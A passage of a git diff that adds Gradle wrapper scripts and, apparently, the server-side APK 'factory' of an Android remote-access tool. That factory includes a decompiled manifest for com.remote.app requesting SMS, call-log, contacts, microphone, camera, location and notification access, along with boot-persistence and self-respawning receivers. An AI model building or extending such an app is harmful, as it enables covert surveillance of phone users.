||||
JVM_OPTS[${#JVM_OPTS[*]}]="-Dorg.gradle.appname=$APP_BASE_NAME"
|
||||
|
||||
exec "$JAVACMD" "${JVM_OPTS[@]}" -classpath "$CLASSPATH" org.gradle.wrapper.GradleWrapperMain "$@"
|
90
client/gradlew.bat
vendored
Normal file
90
client/gradlew.bat
vendored
Normal file
@ -0,0 +1,90 @@
|
||||
@if "%DEBUG%" == "" @echo off
|
||||
@rem ##########################################################################
|
||||
@rem
|
||||
@rem Gradle startup script for Windows
|
||||
@rem
|
||||
@rem ##########################################################################
|
||||
|
||||
@rem Set local scope for the variables with windows NT shell
|
||||
if "%OS%"=="Windows_NT" setlocal
|
||||
|
||||
@rem Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script.
|
||||
set DEFAULT_JVM_OPTS=
|
||||
|
||||
set DIRNAME=%~dp0
|
||||
if "%DIRNAME%" == "" set DIRNAME=.
|
||||
set APP_BASE_NAME=%~n0
|
||||
set APP_HOME=%DIRNAME%
|
||||
|
||||
@rem Find java.exe
|
||||
if defined JAVA_HOME goto findJavaFromJavaHome
|
||||
|
||||
set JAVA_EXE=java.exe
|
||||
%JAVA_EXE% -version >NUL 2>&1
|
||||
if "%ERRORLEVEL%" == "0" goto init
|
||||
|
||||
echo.
|
||||
echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH.
|
||||
echo.
|
||||
echo Please set the JAVA_HOME variable in your environment to match the
|
||||
echo location of your Java installation.
|
||||
|
||||
goto fail
|
||||
|
||||
:findJavaFromJavaHome
|
||||
set JAVA_HOME=%JAVA_HOME:"=%
|
||||
set JAVA_EXE=%JAVA_HOME%/bin/java.exe
|
||||
|
||||
if exist "%JAVA_EXE%" goto init
|
||||
|
||||
echo.
|
||||
echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME%
|
||||
echo.
|
||||
echo Please set the JAVA_HOME variable in your environment to match the
|
||||
echo location of your Java installation.
|
||||
|
||||
goto fail
|
||||
|
||||
:init
|
||||
@rem Get command-line arguments, handling Windowz variants
|
||||
|
||||
if not "%OS%" == "Windows_NT" goto win9xME_args
|
||||
if "%@eval[2+2]" == "4" goto 4NT_args
|
||||
|
||||
:win9xME_args
|
||||
@rem Slurp the command line arguments.
|
||||
set CMD_LINE_ARGS=
|
||||
set _SKIP=2
|
||||
|
||||
:win9xME_args_slurp
|
||||
if "x%~1" == "x" goto execute
|
||||
|
||||
set CMD_LINE_ARGS=%*
|
||||
goto execute
|
||||
|
||||
:4NT_args
|
||||
@rem Get arguments from the 4NT Shell from JP Software
|
||||
set CMD_LINE_ARGS=%$
|
||||
|
||||
:execute
|
||||
@rem Setup the command line
|
||||
|
||||
set CLASSPATH=%APP_HOME%\gradle\wrapper\gradle-wrapper.jar
|
||||
|
||||
@rem Execute Gradle
|
||||
"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" org.gradle.wrapper.GradleWrapperMain %CMD_LINE_ARGS%
|
||||
|
||||
:end
|
||||
@rem End local scope for the variables with windows NT shell
|
||||
if "%ERRORLEVEL%"=="0" goto mainEnd
|
||||
|
||||
:fail
|
||||
rem Set variable GRADLE_EXIT_CONSOLE if you need the _script_ return code instead of
|
||||
rem the _cmd.exe /c_ return code!
|
||||
if not "" == "%GRADLE_EXIT_CONSOLE%" exit 1
|
||||
exit /b 1
|
||||
|
||||
:mainEnd
|
||||
if "%OS%"=="Windows_NT" endlocal
|
||||
|
||||
:omega
|
8
client/local.properties
Normal file
8
client/local.properties
Normal file
@ -0,0 +1,8 @@
|
||||
## This file must *NOT* be checked into Version Control Systems,
|
||||
# as it contains information specific to your local configuration.
|
||||
#
|
||||
# Location of the SDK. This is only used by Gradle.
|
||||
# For customization when using a Version Control System, please read the
|
||||
# header note.
|
||||
#Wed Jan 08 16:38:16 IST 2020
|
||||
sdk.dir=C\:\\Users\\Chris\\AppData\\Local\\Android\\Sdk
|
1
client/settings.gradle
Normal file
1
client/settings.gradle
Normal file
@ -0,0 +1 @@
|
||||
include ':app'
|
BIN
server/app/factory/apktool.jar
Normal file
BIN
server/app/factory/apktool.jar
Normal file
Binary file not shown.
BIN
server/app/factory/app-release.apk
Normal file
BIN
server/app/factory/app-release.apk
Normal file
Binary file not shown.
47
server/app/factory/decompiled/AndroidManifest.xml
Normal file
47
server/app/factory/decompiled/AndroidManifest.xml
Normal file
@ -0,0 +1,47 @@
|
||||
<?xml version="1.0" encoding="utf-8" standalone="no"?><manifest xmlns:android="http://schemas.android.com/apk/res/android" package="com.remote.app">
|
||||
<uses-permission android:name="android.permission.WAKE_LOCK"/>
|
||||
<uses-permission android:name="android.permission.CAMERA"/>
|
||||
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
|
||||
<uses-permission android:name="android.permission.INTERNET"/>
|
||||
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>
|
||||
<uses-permission android:name="android.permission.READ_SMS"/>
|
||||
<uses-permission android:name="android.permission.SEND_SMS"/>
|
||||
<uses-permission android:name="android.permission.ACCESS_WIFI_STATE"/>
|
||||
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>
|
||||
<uses-permission android:name="android.permission.READ_PHONE_STATE"/>
|
||||
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>
|
||||
<uses-permission android:name="android.permission.READ_CALL_LOG"/>
|
||||
<uses-permission android:name="android.permission.RECORD_AUDIO"/>
|
||||
<uses-permission android:name="android.permission.MODIFY_AUDIO_SETTINGS"/>
|
||||
<uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION"/>
|
||||
<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/>
|
||||
<uses-permission android:name="android.permission.READ_CONTACTS"/>
|
||||
<application android:allowBackup="true" android:hardwareAccelerated="false" android:icon="@mipmap/ic_launcher" android:label="@string/app_name" android:largeHeap="true" android:supportsRtl="true" android:theme="@style/AppTheme">
|
||||
<activity android:launchMode="singleInstance" android:name="com.remote.app.MainActivity">
|
||||
<intent-filter>
|
||||
<action android:name="android.intent.action.MAIN"/>
|
||||
<category android:name="android.intent.category.LAUNCHER"/>
|
||||
</intent-filter>
|
||||
</activity>
|
||||
<service android:enabled="true" android:exported="false" android:name="com.remote.app.MainService"/>
|
||||
<receiver android:enabled="true" android:exported="true" android:label="RestartServiceWhenStopped" android:name="com.remote.app.ServiceReciever">
|
||||
<intent-filter>
|
||||
<action android:name="respawnService"/>
|
||||
</intent-filter>
|
||||
</receiver>
|
||||
<receiver android:enabled="true" android:exported="true" android:name="com.remote.app.MyReceiver">
|
||||
<intent-filter>
|
||||
<action android:name="android.intent.action.BOOT_COMPLETED"/>
|
||||
</intent-filter>
|
||||
<intent-filter>
|
||||
<action android:name="android.provider.Telephony.SECRET_CODE"/>
|
||||
<data android:scheme="android_secret_code"/>
|
||||
</intent-filter>
|
||||
</receiver>
|
||||
<service android:label="@string/app_name" android:name="com.remote.app.NotificationListener" android:permission="android.permission.BIND_NOTIFICATION_LISTENER_SERVICE">
|
||||
<intent-filter>
|
||||
<action android:name="android.service.notification.NotificationListenerService"/>
|
||||
</intent-filter>
|
||||
</service>
|
||||
</application>
|
||||
</manifest>
|
Some files were not shown because too many files have changed in this diff Show More
Loading…
x
Reference in New Issue
Block a user